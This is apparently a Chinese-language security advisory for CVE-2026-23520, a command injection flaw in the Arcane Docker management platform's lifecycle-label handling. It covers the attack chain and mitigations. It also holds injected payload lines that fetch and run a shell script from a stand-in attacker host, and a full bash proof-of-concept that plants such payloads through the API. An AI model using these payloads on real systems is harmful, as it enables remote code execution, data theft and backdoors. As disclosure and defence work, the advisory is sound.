IPBUF安全漏洞报告
English
CVE-2026-23520 CVSS 9.0 严重

CVE-2026-23520 | Arcane容器管理平台updater服务命令注入漏洞

披露日期: 2026-01-15

漏洞信息

漏洞编号
CVE-2026-23520
漏洞类型
命令注入
CVSS评分
9.0 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Arcane (Docker容器管理平台)

相关标签

命令注入远程代码执行ArcaneDocker容器生命周期标签CVSS 9.0容器安全

漏洞概述

CVE-2026-23520是Arcane容器管理平台中的一个严重命令注入漏洞,CVSS评分高达9.0分。Arcane是一款现代化的Docker容器管理工具,其updater服务支持生命周期标签(lifecycle labels),允许用户在容器更新前后执行自定义命令。漏洞源于updater服务在处理com.getarcaneapp.arcane.lifecycle.pre-update和com.getarcaneapp.arcane.lifecycle.post-update这两个生命周期标签时,直接将标签值传递给/bin/sh -c执行,未进行任何消毒或验证处理。由于Arcane允许任何已认证用户(不仅限于管理员)通过API创建项目,攻击者可以创建一个包含恶意生命周期标签的项目。当管理员手动触发或通过定时任务触发容器更新时,Arcane会读取并执行标签中定义的恶意shell命令,从而实现远程代码执行。攻击成功后,攻击者可以在容器内执行任意操作,包括窃取敏感数据、植入后门或横向移动。该漏洞已在1.13.0版本中修复。

技术细节

Arcane的updater服务存在命令注入漏洞,攻击原理如下:

1. Arcane允许用户通过Docker标签定义容器生命周期钩子,支持两个特殊标签:
- com.getarcaneapp.arcane.lifecycle.pre-update:容器更新前执行
- com.getarcaneapp.arcane.lifecycle.post-update:容器更新后执行

2. 漏洞点位于updater服务的标签处理逻辑,当读取到上述标签时,直接将标签值拼接到shell命令中执行:
/bin/sh -c "<label_value>"

3. 由于缺乏输入验证,攻击者可以在标签值中注入任意shell命令,例如:
; wget http://attacker.com/malware.sh | bash

`curl attacker.com/shell.sh | bash`

4. 攻击利用条件:
- 攻击者需拥有Arcane API访问权限(可注册普通用户)
- 攻击者能创建项目并配置容器标签
- 需要管理员或自动化任务触发容器更新

5. 利用流程:攻击者创建包含恶意标签的容器,等待管理员更新时触发命令执行。由于标签值直接通过shell执行,攻击者可获得与容器相同的权限级别。

攻击链分析

STEP 1
步骤1
攻击者注册Arcane平台普通用户账号,获取API访问凭证
STEP 2
步骤2
攻击者通过API创建一个新项目,在容器生命周期标签中注入恶意命令,如:; curl http://attacker.com/shell.sh | bash
STEP 3
步骤3
攻击者将包含恶意标签的容器部署到系统中,等待目标容器被更新
STEP 4
步骤4
管理员通过Arcane管理界面手动触发容器更新,或定时更新检查任务自动触发更新流程
STEP 5
步骤5
Arcane updater服务读取容器的生命周期标签,将标签值直接传递给/bin/sh -c执行,导致恶意命令在容器内以shell权限运行
STEP 6
步骤6
攻击者获得容器内的命令执行权限,可窃取数据、植入后门或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-23520 PoC - Arcane Command Injection # This PoC demonstrates the command injection vulnerability in Arcane's updater service API_URL="http://target-arcane-server:8080/api" USERNAME="attacker" PASSWORD="password123" PROJECT_NAME="malicious-project" # Step 1: Authenticate and get token echo "[*] Authenticating with Arcane API..." TOKEN=$(curl -s -X POST "$API_URL/auth/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"$USERNAME\",\"password\":\"$PASSWORD\"}" | jq -r '.token') if [ "$TOKEN" == "null" ] || [ -z "$TOKEN" ]; then echo "[-] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Step 2: Create project with malicious lifecycle label echo "[*] Creating project with malicious lifecycle label..." MALICIOUS_CMD="; wget http://attacker.com/shell.sh -O /tmp/shell.sh && chmod +x /tmp/shell.sh && bash /tmp/shell.sh" curl -s -X POST "$API_URL/projects" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{ \"name\": \"$PROJECT_NAME\", \"container_labels\": { \"com.getarcaneapp.arcane.lifecycle.pre-update\": \"$MALICIOUS_CMD\", \"com.getarcaneapp.arcane.lifecycle.post-update\": \"$MALICIOUS_CMD\" } }" echo "[+] Malicious project created successfully" echo "[!] Wait for admin to trigger container update to execute the payload"

影响范围

Arcane < 1.13.0

防御指南

临时缓解措施
立即将Arcane升级至1.13.0版本以修复漏洞。如无法立即升级,可采取以下临时措施:1) 禁用生命周期标签功能;2) 实施严格的API访问控制,仅允许管理员创建项目;3) 监控和审查所有容器标签配置;4) 对updater服务的网络访问进行限制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表